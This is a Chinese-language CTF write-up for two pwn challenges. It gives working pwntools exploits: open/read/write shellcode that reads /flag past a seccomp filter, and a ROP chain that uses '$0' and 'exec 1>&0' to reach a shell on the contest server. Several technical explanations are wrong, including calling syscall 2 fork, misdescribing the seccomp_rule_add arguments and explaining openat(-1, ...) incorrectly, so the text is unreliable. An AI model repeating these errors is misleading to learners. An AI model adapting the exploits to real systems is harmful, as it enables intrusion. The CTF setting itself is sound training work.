山东大学&安恒校赛CTF
1.babyshell
这段代码是一个函数seccom
,它使用seccomp机制来限制进程的系统调用权限。seccomp是一种Linux内核的安全模块,可以用于过滤或限制进程可以执行的系统调用。
具体来说,这段代码中的函数执行了以下操作:
-
定义了一个局部变量
v1
,并将seccomp_init
函数的返回值赋给v1
。seccomp_init
用于初始化seccomp模块,并返回一个句柄(handle)用于后续的操作。 -
使用
seccomp_rule_add
函数多次调用,向v1
指定的seccomp句柄添加规则。每次调用都会添加一条规则,用于限制特定的系统调用。规则的参数包括:- 第一个参数是
v1
,即seccomp句柄。 - 第二个参数是
0LL
,表示规则适用于所有进程。 - 第三个参数是特定的系统调用号,如
2LL
表示fork
系统调用。 - 第四个参数是附加的标志参数,这里都是
0LL
,表示没有额外的标志。
这些规则限制了进程可以执行的系统调用,包括
fork
(系统调用号2)、execve
(系统调用号59)、setuid
(系统调用号122)、setgid
(系统调用号123)、setgroups
(系统调用号124)等。 - 第一个参数是
-
最后,使用
seccomp_load
函数加载v1
指定的seccomp规则集。
总体来说,这段代码通过seccomp机制限制了进程可以执行的系统调用,增强了进程的安全性。限制系统调用能够有效地减小进程的攻击面,降低潜在的风险。
exp如下:
from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
r = remote("tcp.cloud.dasctf.com", 29565)
shellcode=''
shellcode += shellcraft.openat(-1,'/flag')
shellcode += shellcraft.read(3,'rsp',0x40)
shellcode += shellcraft.write(1,'rsp',0x40) #从rsp开始读取0x40个字节
r.sendline(asm(shellcode))
r.interactive()
read和write的第一个参数是文件描述符
文件描述符是一个非负整数,用于标识操作系统中打开的文件或输入/输出设备。在大多数操作系统中,包括Linux和Unix,文件描述符是对文件或设备的引用或索引。
在Unix-like操作系统中,有三个标准的文件描述符:
- 文件描述符0(通常称为stdin)表示标准输入,用于接收程序的输入。
- 文件描述符1(通常称为stdout)表示标准输出,用于输出程序的结果。
- 文件描述符2(通常称为stderr)表示标准错误输出,用于输出程序的错误消息。
除了这些标准文件描述符,程序可以通过打开文件或设备来获取其他文件描述符。每个打开的文件都会被操作系统分配一个唯一的文件描述符。
在使用文件相关的系统调用或库函数时,文件描述符用于标识要读取或写入的文件。通过操作文件描述符,程序可以对文件进行读取、写入、关闭等操作。
在上述代码中,文件描述符3用于表示通过openat
函数打开的文件。通过将文件描述符传递给read
和write
函数,可以对该文件进行读取和写入操作。
对于openat
函数,第一个参数表示要打开文件的目录文件描述符。它指定了相对于该目录的路径名。
openat
函数是一种相对于指定目录打开文件的变体。相对于传统的open
函数,它允许你使用目录文件描述符和相对路径名来打开文件,而不是使用当前工作目录和绝对路径。
具体来说,openat
函数的第一个参数可以是以下几种情况之一:
- 使用文件描述符(整数值):这是最常见的情况,你可以使用先前打开的目录文件描述符作为第一个参数,来指定要打开文件的目录。
- 使用特殊的宏常量:
AT_FDCWD
:表示当前工作目录的文件描述符。AT_EMPTY_PATH
:表示在不指定文件名的情况下,只打开目录本身。
在上述代码中,openat(-1, '/flag')
使用了文件描述符-1作为第一个参数,表示在当前工作目录中打开名为"/flag"的文件。请注意,这里的-1是一个特殊值,它表示使用当前工作目录作为目录文件描述符。
总之,openat
函数的第一个参数用于指定要打开文件的目录文件描述符,可以是一个具体的文件描述符、特殊的宏常量或相应的整数值。
当使用汇编语言编写shellcode时,rsp
寄存器通常用于指向栈顶。在这种情况下,使用rsp
作为缓冲区地址可以方便地在栈上存储或读取数据。
2.mercedes
main函数如下:
check函数如下:
可以发现,禁用了cat bin / sh 等字符
本题的关键是system($0)相当于system(/bin/sh)
又由于check函数return了close(1),意思是关闭了标准输出
可以通过执行exec 1>&0
将标准输入重定向到标准输出
后门函数如下:
由于为64bit的程序,可以构造ROP链
exp如下:
from pwn import *
r = remote("tcp.cloud.dasctf.com", 28849)
r.sendline(b"$0")
pop_rdi = 0x400983
offset = 0x20+8
sys = 0x0400717
payload = b'a'*offset+p64(pop_rdi)+p64(0x601090)+p64(sys)
r.sendline(payload)
r.interactive()
即可得到flag